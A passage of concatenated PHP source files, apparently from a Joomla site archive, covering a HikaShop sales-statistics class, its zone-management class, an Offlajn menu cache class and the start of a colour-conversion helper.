							$end = $end-3600;
							break;
						case '%j %Y':
							$end = strtotime("-1 day", $end);
							break;
						case '%u %Y':
							$end = strtotime("-1 week", $end);
							break;
						case '%m %Y':
							$end = strtotime("-1 month", $end);
							break;
						case '%Y':
							$end = strtotime("-1 year", $end);
							break;
						default:
							$end = strtotime("-1 year", $end);
							break;
					}

					$obj = new stdClass();
					$obj->timestamp = $end;
					$obj->calculated_date =
$this->_mysqlDate($widget->widget_params->date_group,$obj->timestamp);
					if(isset($widget->widget_params->compares) &&
!empty($elements)){
						foreach($typeTable as $oneType){
							$obj = new stdClass();
							$obj->timestamp = $end;
							$obj->calculated_date =
$this->_mysqlDate($widget->widget_params->date_group,$obj->timestamp);
							if(!isset($dates[$obj->calculated_date.$oneType])){
								$this->_jsDate($widget->widget_params->date_group,$obj,
$widget, $diff);
								$obj->total = 0;
								$obj->type=$this->_generateName($widget,$oneType, $obj);
								$dates[$obj->calculated_date.$oneType]=$obj;
							}
						}

					}else{
						if(!isset($dates[$obj->calculated_date.$widget->widget_params->content])){
							$this->_jsDate($widget->widget_params->date_group,$obj,
$widget, $diff);
							$obj->total = 0;
							$obj->type=$this->_generateName($widget,
$widget->widget_params->content, $obj);
							$dates[$obj->calculated_date.$widget->widget_params->content]=$obj;
						}
					}
				}

				$obj = new stdClass();
				$obj->timestamp = $widget->widget_params->start;
				$obj->calculated_date =
$this->_mysqlDate($widget->widget_params->date_group,$obj->timestamp);
				$obj->calculated_date =
$this->_mysqlDate($widget->widget_params->date_group,$obj->timestamp);
				if(isset($widget->widget_params->compares)){
					foreach($typeTable as $oneType){
						$obj = new stdClass();
						$obj->timestamp = $end;
						$obj->calculated_date =
$this->_mysqlDate($widget->widget_params->date_group,$obj->timestamp);
						if(!isset($dates[$obj->calculated_date.$oneType])){
							$this->_jsDate($widget->widget_params->date_group,$obj,
$widget, $diff);
							$obj->type=$this->_generateName($widget,$oneType, $obj);
							$dates[$obj->calculated_date.$oneType]=$obj;
						}
					}
				}else{
					if(!isset($dates[$obj->calculated_date.$widget->widget_params->content])){
						$this->_jsDate($widget->widget_params->date_group,$obj,
$widget, $diff);
						$obj->total = 0;
						$obj->type=$this->_generateName($widget,
$widget->widget_params->content, $obj);
						$dates[$obj->calculated_date]=$obj;
					}
				}

				$elements = array();
				foreach($dates as $date){
					if(isset($date->type)){ $type=$date->type;	}
					else{ $type=''; }
					if(!isset($elements[$date->calculated_date.$type])){
						$elements[$date->calculated_date.$type]=$date;
					}
					if(empty($date->total)){
						$date->total=0;
					}
				}
				ksort($elements);
				if(isset($widget->widget_params->compares)){
					$widget->exportFields =
array('type','calculated_date','total');
				}else{
					$widget->exportFields =
array('calculated_date','total');
				}
				break;
			case 'pie':
				$name = 'name';
				$widget->exportFields = array('name','total');
			case 'listing':
				if($widget->widget_params->display=='listing'){
					$name = 'order_status';
					if(!empty($elements)){
						$first = reset($elements);
						unset($first->user_params);
						$widget->exportFields = array_keys(get_object_vars($first));
					}else{
						$widget->exportFields=array();
					}
				}
				if(($widget->widget_params->content=='products' ||
$widget->widget_params->content=='categories') &&
$widget->widget_params->product_data=='orders'){
					foreach($elements as $element){
						$element->quantity=$element->Total;
						$element->Total=$element->quantity*$element->order_product_price;

					}
				}
				$class = hikashop_get('class.category');
				$trans = $class->loadAllWithTrans('status');
				if(!empty($elements)){
					foreach($elements as $k => $element){
						if(!empty($element->$name)){
							$found = false;
							if(!empty($trans)){
								foreach($trans as $t){
									if($t->category_name == $element->$name &&
isset($t->translation)){
										$elements[$k]->$name = $t->translation;
										$found = true;
									}
								}
							}
							if(!$found){
								$fileTrans = JText::_(strtoupper($element->$name));
								if($fileTrans != strtoupper($element->$name)){
									$elements[$k]->$name = $fileTrans;
								}
							}
						}
					}
				}
				break;
			case 'table':
				if(empty($elements)){
					$total = new stdClass();
					$total->Total=0;
					$elements = array($total);
				}
				if($widget->widget_params->content=='sales' ||
$widget->widget_params->content=='taxes'){
					$currencyClass = hikashop_get('class.currency');
					$value=$currencyClass->format($elements[0]->Total,@$elements[0]->order_currency_id);
				}else{
					$value=$elements[0]->Total.'
'.JText::_('orders');
				}
				$elements=$value;
				break;
			default:
				break;
		}

		if(isset($widget->widget_params->period_compare) &&
$widget->widget_params->period_compare!='null' &&
isset($widget->elements)){
			switch($widget->widget_params->period_compare){
				case 'last_period':
					$widget->widget_params->start=$widget->widget_params->end;
					$widget->widget_params->end=$widget->widget_params->start+$diff;
					break;
				case 'last_year':
					$widget->widget_params->end=strtotime("+1 year",
$widget->widget_params->end);
					$widget->widget_params->start=strtotime("+1 year",
$widget->widget_params->start);
					break;
				case 'average':
					$widget->widget_params->end='';
					$widget->widget_params->start='';
					break;
			}
		}

		if(isset($widget->widget_params->period_compare) &&
$widget->widget_params->period_compare=='last_year'
&& isset($widget->elements)){
			foreach($elements as $element){
				$element->year=$element->year+1;
			}
		}

		if(!isset($widget->elements)){
			$widget->elements =& $elements;
		}else{
			$widget->elements= array_merge($widget->elements,$elements);
		}
		return true;
	}

	function _generateName($widget, $varName, $obj){
		$date='';
		$type='';
		if(isset($widget->widget_params->period_compare)){
			switch($widget->widget_params->period_compare){
				case 'last_period':
					$date=' - '.JText::_('LAST_PERIOD');
					break;
				case 'last_year':
					$date=' - '.JText::_('LAST_YEAR');
					break;
			}
		}
		if(isset($widget->widget_params->period_compare) &&
isset($widget->elements)){
			$type=$varName.$date;
		}else{
			$type=$varName;
		}
		return $type;
	}

	function _getBestDiscount($filters, $limit='', $reverse=false,
$leftjoin=''){
		$order='DESC';
		if($reverse){ $order= 'ASC'; }
		$db = JFactory::getDBO();
		$query='SELECT *,COUNT(a.order_id) as Total FROM
'.hikashop_table('order').' as a	LEFT JOIN
'.hikashop_table('order_product').' as p on
p.order_id=a.order_id ' .
					'LEFT JOIN '.hikashop_table('discount').' as
d ON d.discount_code=a.order_discount_code '.$leftjoin.'
'.$filters.' GROUP BY order_discount_code ORDER BY Total
'.$order.' '.$limit;
		$db->setQuery($query);
		$discountCodes =
$db->loadObjectList('order_discount_code');
		return $discountCodes;
	}

	function _getBestShipping($filters, $limit='', $reverse=false){
		$order='DESC';
		if($reverse){ $order= 'ASC'; }
		$db = JFactory::getDBO();
		$query='SELECT *,SUM(order_product_quantity) as Total FROM
'.hikashop_table('order').' as a	LEFT JOIN
'.hikashop_table('order_product').' as p on
p.order_id=a.order_id ' .
				' '.$filters.' GROUP BY order_shipping_method ORDER BY
Total '.$order.' '.$limit;
		$db->setQuery($query);
		$shippingMethods =
$db->loadObjectList('order_shipping_method');
		return $shippingMethods;
	}

	function _getBestPayment($filters, $limit='', $reverse=false){
		$order='DESC';
		if($reverse){ $order= 'ASC'; }
		$db = JFactory::getDBO();
		$query='SELECT *,SUM(order_product_quantity) as Total FROM
'.hikashop_table('order').' as a	LEFT JOIN
'.hikashop_table('order_product').' as p on
p.order_id=a.order_id ' .
				' '.$filters.' GROUP BY order_payment_method ORDER BY
Total '.$order.' '.$limit;
		$db->setQuery($query);
		$shippingMethods =
$db->loadObjectList('order_payment_method');
		return $shippingMethods;
	}

	function _getBestCategories($filters, $content='',
$limit='', $reverse=false){
		$db = JFactory::getDBO();
		$order='DESC';
		if($reverse){ $order= 'ASC'; }
		if($content=='sales'){
			$dataType='order_full_price';
		}else if($content=='clicks'){
			$dataType='p.product_hit';
		}else{
			$dataType='order_product_quantity';
		}
		if(empty($filters)){ $filters='';}
		$query='SELECT *, SUM('.$dataType.') as Total FROM
'.hikashop_table('order').' as a LEFT JOIN
'.hikashop_table('order_product ').' as prod ON
a.order_id=prod.order_id LEFT JOIN
'.hikashop_table('product').' AS p ON
p.product_id=prod.product_id ' .
				'LEFT JOIN '.hikashop_table('product_category
').' as cat ON cat.product_id=p.product_id OR
cat.product_id=p.product_parent_id LEFT JOIN
'.hikashop_table('category ').' as c ON
cat.category_id=c.category_id ' .
				$filters.'	GROUP BY c.category_id ORDER BY Total
'.$order.' '.$limit;
		$db->setQuery($query);
		$ids = $db->loadObjectList('category_id');
		if(!empty($ids)){
			if($content=='orders' && $limit!='LIMIT
1'){
				foreach($ids as $id){
					$id->quantity=$id->Total;
					$id->Total=$id->quantity*$id->order_product_price;
				}
			}
		}
		return $ids;
	}

	function _getBestProducts($filters, $content, $limit='',
$reverse=false, $statusForce=false, $leftjoin=''){
		$db = JFactory::getDBO();
		$order='DESC';
		$dataType='';
		if($reverse){ $order= 'ASC'; }
		if($content=='sales'){
			$dataType='SUM(prod.order_product_price*prod.order_product_quantity)';
		}else if($content=='clicks'){
			$dataType='p.product_hit';
			$leftjoin.=' LEFT JOIN
'.hikashop_table('product').' AS p ON
p.product_id=prod.product_id ';
		}else{
			$dataType='SUM(prod.order_product_quantity)';
		}
		if($statusForce && !empty($filters)){
			$filters.=" AND a.order_status IN
('confirmed','shipped')";
		}else if($statusForce && empty($filters)){
			$filters=" WHERE a.order_status IN
('confirmed','shipped')";
		}
		$leftjoin=str_replace('LEFT JOIN
'.hikashop_table('order_product').' AS prod ON
prod.order_id = a.order_id','',$leftjoin);
		$query='SELECT *, '.$dataType.' as Total,
COUNT(a.order_id) AS quantity FROM
'.hikashop_table('order_product').' AS prod LEFT JOIN
'.hikashop_table('order').' AS a on
a.order_id=prod.order_id '
			.$leftjoin.' '.$filters.' GROUP BY
prod.order_product_name ORDER BY Total '.$order.' '.$limit;
		$db->setQuery($query);
		$ids = $db->loadObjectList();
		if(!empty($ids)){
			if($content=='orders'){
				foreach($ids as $id){
					$id->quantity=$id->Total;
					$id->Total=$id->quantity*$id->order_product_price;
				}
			}
		}
		return $ids;
	}

	function _getBestCurrencies($filters, $limit='',
$reverse=false){
		$db = JFactory::getDBO();
		$order='ASC';
		if($reverse){ $order= 'DESC'; }
		$query='SELECT *, SUM(a.order_id) as Total FROM
'.hikashop_table('order ').' AS a LEFT JOIN
'.hikashop_table('currency ').' AS c ON
a.order_currency_id=c.currency_id ' .
				$filters.' GROUP BY c.currency_id ORDER BY Total
'.$order.' '.$limit.'';
		$db->setQuery($query);
		$currencies = $db->loadObjectList();
		return $currencies;
	}

	function _getBestCustomers($filters, $widget, $limit=''){
		$db = JFactory::getDBO();

		if($widget->widget_params->content=='customers'){
			$unitType='o.order_full_price';
			$currencyID='o.order_currency_id';
			$user_id='o.order_user_id';
		}else{
			$unitType='o.order_partner_price';
			$currencyID='o.order_partner_currency_id';
			$user_id='o.order_partner_id';
		}

		if($widget->widget_params->display=='table'){
			$orderBy='Total';
		}else{
			if(($widget->widget_params->content=='customers'
&&
$widget->widget_params->customers_order=='sales') ||
($widget->widget_params->content=='partners' &&
$widget->widget_params->partners_order=='sales')){
				$orderBy='Total';
			}else{
				$orderBy='order_number';
			}
		}
		$case=' case';
		$currentCurrency = hikashop_getCurrency();
		$currencyType = hikashop_get('type.currency');
		$currencyClass = hikashop_get('class.currency');
		$dstCurrency = $currencyClass->get($currentCurrency);
		$currencyType->load(0);
		$currencies = $currencyType->currencies;
		$config =& hikashop_config();
		$main_currency = $config->get('main_currency',1);
		foreach($currencies as $currency){
			$calculatedVal=$unitType;
			if($main_currency!=$currency->currency_id){
				if(bccomp($currency->currency_percent_fee,0,2)){
					$calculatedVal.='*'.floatval($currency->currency_percent_fee)/100.0;
				}
				$calculatedVal.='/'.floatval($currency->currency_rate);
			}
			if($main_currency!=$currentCurrency){
				$calculatedVal.='*'.floatval($dstCurrency->currency_rate);
				if(bccomp($dstCurrency->currency_percent_fee,0,2)){
					$calculatedVal.='*'.floatval($dstCurrency->currency_percent_fee)/100.0;
				}
			}
			$case .= ' when '.$currencyID.' =
\''.$currency->currency_id.'\' then
'.$calculatedVal;
		}
		$case.= ' end';

		$filters[]=' a.user_id IS NOT NULL ';
		$filters[]='
o.order_type=\''.$this->order_type.'\'';
		$filters = (empty($filters)? ' ':' WHERE
').implode(' AND ',$filters);
		$query='SELECT *,	SUM( '.$case.' ) AS Total,
COUNT(o.order_id) AS order_number FROM
'.hikashop_table('order').' as o LEFT JOIN
'.hikashop_table('user').' as a ON
'.$user_id.'=a.user_id	LEFT JOIN
'.hikashop_table('users',false).' as u ON
u.id=a.user_cms_id ' .
				$filters.' GROUP BY a.user_id ORDER BY '.$orderBy.' DESC
'.$limit;
		$db->setQuery($query);
		$elements = $db->loadObjectList();
		if(empty($elements))
			$elements = array();
		foreach($elements as $element){
			$element->order_currency_id=$main_currency;
		}
		return $elements;
	}

	function _mysqlDate($group,$date){
		$current_year=date('Y',$date);
		switch($group){
			case '%H %j %Y':
				$current_hour=date('H',$date);
				$current_day = sprintf('%03d',date('z',$date)+1);
				$current = $current_year.' '.$current_day.'
'.$current_hour;
				break;
			case '%j %Y':
				$current_day = sprintf('%03d',date('z',$date)+1);
				$current = $current_year.' '.$current_day;
				break;
			case '%u %Y':
				$current_week = sprintf('%02d',date('W',$date));
				$current = $current_year.' '.$current_week;
				break;
			case '%m %Y':
				$current_month = date('m',$date);
				$current=$current_year.' '.$current_month;
				break;
			case '%Y':
				$current=$current_year;
				break;
			default:
				$current='';
				break;
		}
		return $current;
	}

	function _jsDate($group,&$element, $widget=null, $diff=null){
		if(!isset($element->timestamp)){
			switch($group){
				case '%H %j %Y'://day
					$parts = explode(' ',$element->calculated_date);
					$element->timestamp = mktime($parts[2], 0, 0, 1, $parts[1],
$parts[0]);

					break;
				case '%j %Y'://day
					$parts = explode(' ',$element->calculated_date);
					$element->timestamp = mktime(0, 0, 0, 1, $parts[1], $parts[0]);
					break;
				case '%u %Y'://week
					$parts = explode(' ',$element->calculated_date);
					$element->timestamp = mktime(0, 0, 0, 1, $parts[1]*7, $parts[0]);
					break;
				case '%m %Y'://month
					$parts = explode(' ',$element->calculated_date);
					$element->timestamp = mktime(0, 0, 0, $parts[1], 1, $parts[0]);
					break;
				case '%Y'://year
					$element->timestamp = mktime(0, 0, 0, 1, 1,
$element->calculated_date);
					break;
			}
		}

		if(isset($widget->widget_params->period_compare)){
			if($widget->widget_params->period_compare=='last_period'
&& isset($widget->elements)){
					$element->timestamp=$element->timestamp+$diff;
			}
		}

		$element->year = date('Y',$element->timestamp);
		$element->month = date('m',$element->timestamp)-1;
		$element->day = date('j',$element->timestamp);
		if($widget->widget_params->date_group=="%H %j %Y"){
			$element->hour = date('G',$element->timestamp);
		}
	}

	function _dateLimit($widget, $filters, $date_field){
		if(!empty($widget->widget_params->start)){
			$filters['start']=$date_field.' >
'.$widget->widget_params->start;
		}
		if(!empty($widget->widget_params->end)){
			$filters['end']=$date_field.' <
'.$widget->widget_params->end;
			$end = $widget->widget_params->end;
		}

		if((empty($filters['start']) ||
empty($filters['end'])) &&
!empty($widget->widget_params->period)){
			if(!empty($filters['start'])){
				$filters['end']=$date_field.' <
'.($widget->widget_params->start+$widget->widget_params->period);
			}else{
				if(!isset($end)){ $end=time(); }
				$filters['start']=$date_field.' >
'.($end-$widget->widget_params->period);
			}
		}
		return $filters;
	}
}
zone.php000064400000016017151160302620006231 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopZoneClass extends hikashopClass{

	var $tables =
array('zone_link','zone_link','zone');
	var $pkeys = array('','','zone_id');
	var $namekeys =
array('zone_parent_namekey','zone_child_namekey','zone_namekey');
	var $deleteToggle =
array('zone_link'=>array('zone_parent_namekey','zone_child_namekey'));
	var $toggle = array('zone_published'=>'zone_id');

	function saveForm(){
		$zone = new stdClass();
		$zone->zone_id = hikashop_getCID('zone_id');
		$formData = JRequest::getVar( 'data', array(), '',
'array' );
		$status = false;
		if(!empty($formData['zone'])){
			foreach($formData['zone'] as $column => $value){
				hikashop_secureField($column);
				$zone->$column = strip_tags($value);
			}

			$status = $this->save($zone);

			if(!$status){
				JRequest::setVar( 'fail', $zone  );
				$app =& JFactory::getApplication();
				$app->enqueueMessage(JText::_( 'DUPLICATE_ZONE' ),
'error');
			}
		}
		return $status;
	}

	function getZoneParents($zone_id,$already=array()){
		static $level = 0;
		if(!count($already)) $level = 0;
		if($level>10) return array();
		$level++;

		if(!is_array($zone_id)){
			if(is_numeric($zone_id)){
				$zone = $this->get($zone_id);
				if($zone){
					$zone_id = $zone->zone_namekey;
				}
			}
			$zone_id = array($zone_id);
		}
		$quoted = array();
		foreach($zone_id as $zone){
			$quoted[]=$this->database->Quote($zone);
		}
		$query = 'SELECT a.zone_parent_namekey FROM
'.hikashop_table('zone_link').' AS a WHERE
a.zone_child_namekey IN
('.implode(',',$quoted).');';
		$this->database->setQuery($query);
		if(!HIKASHOP_J25){
			$parents = $this->database->loadResultArray();
		} else {
			$parents = $this->database->loadColumn();
		}
		$results = array();

		foreach($zone_id as $z){
			$results[$z]=$z;
		}

		if(!empty($parents)){
			$getParents = array();
			foreach($parents as $p){
				if(!isset($already[$p])){
					$getParents[]=$p;
				}
				$results[$p]=$p;
			}
			if(!empty($getParents)){
				$grandparents = $this->getZoneParents($getParents,$results);
				foreach($grandparents as $gp){
					$results[$gp]=$gp;
				}
			}
		}

		return $results;
	}


	function getZoneCurrency($zone_id){
		$zone = $this->get($zone_id);
		$already = array($zone->zone_namekey);
		$childs = array($zone->zone_namekey);
		if(empty($zone->zone_currency_id)){
			while(!empty($childs)){
				$quoted = array();
				foreach($childs as $z){
					$quoted[]=$this->database->Quote($z);
				}
				$query = 'SELECT b.* FROM
'.hikashop_table('zone_link').' AS a LEFT JOIN
'.hikashop_table('zone').' AS b ON
a.zone_parent_namekey=b.zone_namekey WHERE a.zone_child_namekey IN
('.implode(',',$quoted).');';
				$this->database->setQuery($query);
				$parents = $this->database->loadObjectList();
				$childs = array();
				if(!empty($parents)){
					foreach($parents as $parent){
						if(in_array($parent->zone_namekey,$already)) continue;
						if(!empty($parent->zone_currency_id)){
							return (int)$parent->zone_currency_id;
						}
						$childs[]=$parent->zone_namekey;
						$already[]=$parent->zone_namekey;
					}
				}
			}
		}
		return (int)$zone->zone_currency_id;
	}


	function getOrderZones(&$order) {
		$field = 'address_country';
		$fieldClass = hikashop_get('class.field');
		$fields =
$fieldClass->getData('frontcomp','address');
		if(isset($fields['address_state']) &&
$fields['address_state']->field_type=='zone'
&& !empty($order->shipping_address) &&
!empty($order->shipping_address->address_state) &&
(!is_array($order->shipping_address->address_state) ||
count($order->shipping_address->address_state)>1 ||
!empty($order->shipping_address->address_state[0]))) {
			$field='address_state';
		}
		$type = 'shipping_address';
		if(empty($order->shipping_address) &&
!empty($order->billing_address)) {
			$type = 'billing_address';
		}
		if(empty($order->$type) || empty($order->$type->$field)) {
			$zones = $this->getZoneParents(hikashop_getZone());
		} else {
			$zones =& $order->$type->$field;
			if(!is_array($zones)) {
				$zones = array($zones);
			}
		}
		return $zones;
	}

	function getNamekey($element){
		return
$element->zone_type.'_'.preg_replace('#[^a-z_]#i','',$element->zone_name_english).'_'.rand();
	}

	function getChilds($zone_namekey){
		$database = JFactory::getDBO();
		if(is_numeric($zone_namekey)){
			$zone = $this->get($zone_namekey);
			$zone_namekey = $zone->zone_namekey;
		}
		$query = 'SELECT a.* FROM
'.hikashop_table('zone_link').' AS b LEFT JOIN
'.hikashop_table('zone').' AS a ON
b.zone_child_namekey=a.zone_namekey WHERE b.zone_parent_namekey  =
'.$database->Quote($zone_namekey).' ORDER BY a.zone_id';
		$database->setQuery($query);
		return  $database->loadObjectList();
	}

	function addChilds($mainNamekey,$childNamekeys){
		if(empty($mainNamekey)) return null;
		if(empty($childNamekeys)) return null;
		$NamekeysString = '';
		if(is_numeric($mainNamekey)){
			foreach($childNamekeys as $childNamekey){
				$NamekeysString .=
$this->database->Quote($childNamekey).',';
			}
			$NamekeysString .=
$this->database->Quote($mainNamekey).',';
			$query = 'SELECT zone_id,zone_namekey FROM
'.hikashop_table('zone').' WHERE zone_id  IN
('.rtrim($NamekeysString,',').')';
			$this->database->setQuery($query);
			$zones =  $this->database->loadObjectList('zone_id');
			$newChildNamekeys = array();
			foreach($childNamekeys as $childNamekey){
				$newNamekey = $zones[$childNamekey]->zone_namekey;
				$NamekeysString .=
$this->database->Quote($newNamekey).',';
				$newChildNamekeys[] = $newNamekey;
			}
			$mainNamekey = $zones[$mainNamekey]->zone_namekey;
			$childNamekeys = $newChildNamekeys;
		}else{
			foreach($childNamekeys as $childNamekey){
				$NamekeysString .=
$this->database->Quote($childNamekey).',';
			}
		}

		$query = 'SELECT zone_child_namekey FROM
'.hikashop_table('zone_link').' WHERE
zone_parent_namekey  =
'.$this->database->Quote($mainNamekey).' AND
zone_child_namekey IN ('.rtrim($NamekeysString,',').')
LIMIT 1';
		$this->database->setQuery($query);
		if(!HIKASHOP_J25){
			$alreadyChild =  $this->database->loadResultArray();
		} else {
			$alreadyChild =  $this->database->loadColumn();
		}
		$toInsertNamekeys = array();
		foreach($childNamekeys as $childNamekey){
			if(!in_array($childNamekey,$alreadyChild))$toInsertNamekeys[]=$childNamekey;
		}
		if(empty($toInsertNamekeys)) return null;
		$query = 'INSERT IGNORE INTO
'.hikashop_table('zone_link').'
(zone_parent_namekey,zone_child_namekey) VALUES ';
		foreach($toInsertNamekeys as $childNamekey){
			$query.='('.$this->database->Quote($mainNamekey).','.$this->database->Quote($childNamekey).'),';
		}
		$this->database->setQuery(rtrim($query,',').';');
		$this->database->query();
		return $toInsertNamekeys;
	}

}
cache.class.php000064400000014355151160307750007441 0ustar00<?php
/**
 * mod_vertical_menu - Vertical Menu
 *
 * @author    Balint Polgarfi
 * @copyright 2014-2019 Offlajn.com All Rights Reserved
 * @license   https://gnu.org/licenses/gpl-2.0.html
 * @link      https://offlajn.com
 */

defined('_JEXEC') or die('Restricted access');

if (!class_exists('OfflajnMenuThemeCache2')) {

  jimport('joomla.registry.registry');
  jimport('joomla.filesystem.path');
  jimport('joomla.filesystem.file');

  class OfflajnMenuThemeCache2 extends JRegistry
  {
    public $module;
    public $params;
    public $env;
    public $cachePath;
    public $cacheUrl;
    public $cssCompress;
    public $jsCompress;
    public $js;
    public $css;
    public $style;

    public function __construct($namespace, &$_module, &$_params)
    {
      $this->cssCompress = 1;
      $this->jsCompress = 1;
      $this->js = array();
      $this->css = array();
      $this->style = array();
      $this->module = &$_module;
      $this->params = &$_params;
      $this->env = array('params' => &$_params);

      $writeError = false;
      $folder = $this->module->id;
      $registry = JFactory::getConfig();
      if (version_compare(JVERSION, '3.0', 'ge')) {
        $curLanguage = $registry->get("joomfish.language");
      } else {
        $curLanguage =
$registry->getValue("joomfish.language");
      }

      if (is_object($curLanguage)) {
        $folder .= '-lang' .
$curLanguage->get('lang_id');
      } else if (is_string($curLanguage) && $curLanguage !=
'') {
        $folder .= '-lang' . $curLanguage;
      }
      $this->cachePath = JPath::clean(JPATH_SITE . '/modules/'
. $this->module->module . '/cache/' . $folder .
'/');
      if (!JFolder::exists($this->cachePath)) {
        JFolder::create($this->cachePath);
      }

      if (!JFolder::exists($this->cachePath)) {
        $writeError = true;
      }
      if ($writeError) {
        JText::printf("%s is unwriteable or non-existent, because the
system does not allow the operation from PHP. Please create the directory
and set the writing access!", $this->cachePath);
        exit;
      }
      $this->cacheUrl = JURI::base(true) . '/modules/' .
$this->module->module . '/cache/' . $folder .
'/';
      $this->moduleUrl = JURI::base(true) . '/modules/' .
$this->module->module . '/';
    }

    /*
    return the two url in an array
     */
    public function generateCache()
    {
      return array($this->generateCSSCache(),
$this->generateJSCache());
    }

    public function assetsAdded()
    {
      $cssName = $this->generateCssName();
      if (defined('DEMO')) {
        $subdir = substr($cssName, 0, 2) . '/' . substr($cssName,
2, 2) . '/' . substr($cssName, 4, 2) . '/' .
substr($cssName, 0, 32);
        $this->cachePath = JPath::clean($this->cachePath .
'/' . $subdir . '/');
        if (!JFolder::exists($this->cachePath)) {
          JFolder::create($this->cachePath);
        }

        $this->cacheUrl = $this->cacheUrl .
str_replace('\\', '/', $subdir) . '/';
      }
    }

    public function addCss($css)
    {
      if (!in_array($css, $this->css)) {
        $this->css[] = $css;
      }
    }

    public function addStyle($style)
    {
      $this->style[] = $style;
    }

    /*
    This vars will be available in the CSS as $$k
     */
    public function addCssEnvVars($k, &$v)
    {
      $this->env[$k] = &$v;
    }

    public function generateCssName()
    {
      $cachetext = '';
      foreach ($this->css as $css) {
        $cachetext .= $css . filemtime($css);
      }
      $hash = md5($cachetext . serialize($this->params->toArray()));
      return $hash . '.css';
    }

    public function generateCSSCache()
    {
      $cssName = $this->generateCssName();
      $file = $this->cachePath . $cssName;
      if (!is_file($file)) {
        $needToDelete = JFolder::files($this->cachePath,
'(css)|(png)|(jpg)|(svg)$', false, true);
        if (is_array($needToDelete) && count($needToDelete) > 0)
{
          JFile::delete($needToDelete); // CSS cache cleaned
        }
/*        $ks = array_keys($this->env);
for($i = 0;$i < count($ks); $i++ ){
$$ks[$i] = &$this->env[$ks[$i]];
}   */
        foreach (array_keys($this->env) as $key) {
          $$key = &$this->env[$key];
        }
        ob_start();
        foreach ($this->css as $css) {
          include $css;
        }
        foreach ($this->style as $style) {
          echo $style;
        }
        $rawcss = ob_get_contents();
        ob_end_clean();

        file_put_contents($file, $rawcss);
      }
      return $this->cacheUrl . $cssName; // url to the CSS
    }

    public function addJs($js)
    {
      if (!in_array($js, $this->js)) {
        $this->js[] = $js;
      }
    }

    public function generateJsName()
    {
      $cachetext = '';
      foreach ($this->js as $js) {
        $cachetext .= $js . filemtime($js);
      }
      $hash = md5($cachetext);
      return $hash . '.js';
    }

    public function generateJSCache()
    {
      $jsName = $this->generateJsName();
      $file = $this->cachePath . $jsName;
      if (!is_file($file)) {
        $needToDelete = JFolder::files($this->cachePath,
'js$', false, true);
        if (is_array($needToDelete) && count($needToDelete) > 0)
{
          JFile::delete($needToDelete); // JS cache cleaned
        }
        $jst = "(function(){";
        foreach ($this->js as $js) {
          $jst .= file_get_contents($js) . "\n";
        }
        $jst .= "})();";
        file_put_contents($file, $jst);
      }
      return $this->cacheUrl . $jsName; // url to the JS
    }

    public function getFilesFromCache()
    {

    }

    public function set($key, $value = '', $group =
'_default')
    {
      return $this->setValue($group . '.' . $key, (string)
$value);
    }

    public function get($key, $default = '', $group =
'_default')
    {
      $value = $this->getValue($group . '.' . $key);
      $result = (empty($value) && ($value !== 0) && ($value
!== '0')) ? $default : $value;
      return $result;
    }

    public function def($key, $default = '', $group =
'_default')
    {
      $value = $this->get($key, (string) $default, $group);
      return $this->set($key, $value);
    }
  }
}
ColorHelper.php000064400000031323151160307750007502 0ustar00<?php
/**
 * mod_vertical_menu - Vertical Menu
 *
 * @author    Balint Polgarfi
 * @copyright 2014-2019 Offlajn.com All Rights Reserved
 * @license   https://gnu.org/licenses/gpl-2.0.html
 * @link      https://offlajn.com
 */

defined('_JEXEC') or die('Restricted access');

if (!class_exists('OfflajnColor')) {
  class OfflajnColor
  {
    /**
     *
     * Converts hexadecimal colors to RGB.
     *
     * @param string $hex Hexadecimal value. Accepts values with 3 or 6
numbers,
     * with or without #, e.g., CCC, #CCC, CCCCCC or #CCCCCC.
     *
     * @return array RGB values: 0 => R, 1 => G, 2 => B
     *
     */
    public function hex2rgb($hex)
    {
      // Remove #.
      if (strpos($hex, '#') === 0) {
        $hex = substr($hex, 1);
      }

      if (strlen($hex) == 3) {
        $hex .= $hex;
      }

      if (strlen($hex) != 6) {
        return false;
      }

      // Convert each tuple to decimal.
      $r = hexdec(substr($hex, 0, 2));
      $g = hexdec(substr($hex, 2, 2));
      $b = hexdec(substr($hex, 4, 2));

      return array($r, $g, $b);
    }

    public function hex2rgba($hex)
    {
      // Remove #.
      if (strpos($hex, '#') === 0) {
        $hex = substr($hex, 1);
      }

      if (strlen($hex) == 6) {
        $hex .= 'ff';
      }

      if (strlen($hex) != 8) {
        return false;
      }

      // Convert each tuple to decimal.
      $r = hexdec(substr($hex, 0, 2));
      $g = hexdec(substr($hex, 2, 2));
      $b = hexdec(substr($hex, 4, 2));
      $a = intval(hexdec(substr($hex, 6, 2)) / 2);

      return array($r, $g, $b, $a);
    }

    public function hex82hex($hex)
    {
      // Remove #.
      if (strpos($hex, '#') === 0) {
        $hex = substr($hex, 1);
      }

      if (strlen($hex) == 6) {
        $hex .= 'ff';
      }

      if (strlen($hex) != 8) {
        return false;
      }
      return array(substr($hex, 0, 6), substr($hex, 6, 2));
    }

    /**
     *
     * Converts hexadecimal colors to HSV.
     *
     * @param string $hex Hexadecimal value. Accepts values with 3 or 6
numbers,
     * with or without #, e.g., CCC, #CCC, CCCCCC or #CCCCCC.
     *
     * @return array HSV values: 0 => H, 1 => S, 2 => V
     *
     */
    public function hex2hsv($hex)
    {
      return $this->rgb2hsv($this->hex2rgb($hex));
    }

    /**
     *
     * Converts hexadecimal colors to HSL.
     *
     * @param string $hex Hexadecimal value. Accepts values with 3 or 6
numbers,
     * with or without #, e.g., CCC, #CCC, CCCCCC or #CCCCCC.
     *
     * @return array HSL values: 0 => H, 1 => S, 2 => L
     *
     */
    public function hex2hsl($hex)
    {
      return $this->rgb2hsl($this->hex2rgb($hex));
    }

    /**
     *
     * Converts RGB colors to hexadecimal.
     *
     * @param array $rgb RGB values: 0 => R, 1 => G, 2 => B
     *
     * @return string Hexadecimal value with six digits, e.g., CCCCCC.
     *
     */
    public function rgb2hex($rgb)
    {
      if (count($rgb) < 3) {
        return false;
      }

      list($r, $g, $b) = $rgb;

      // From php.net.
      $r = 0x10000 * max(0, min(255, $r));
      $g = 0x100 * max(0, min(255, $g));
      $b = max(0, min(255, $b));

      return strtoupper(str_pad(dechex($r + $g + $b), 6, 0,
STR_PAD_LEFT));
    }

    /**
     *
     * Converts RGB to HSV.
     *
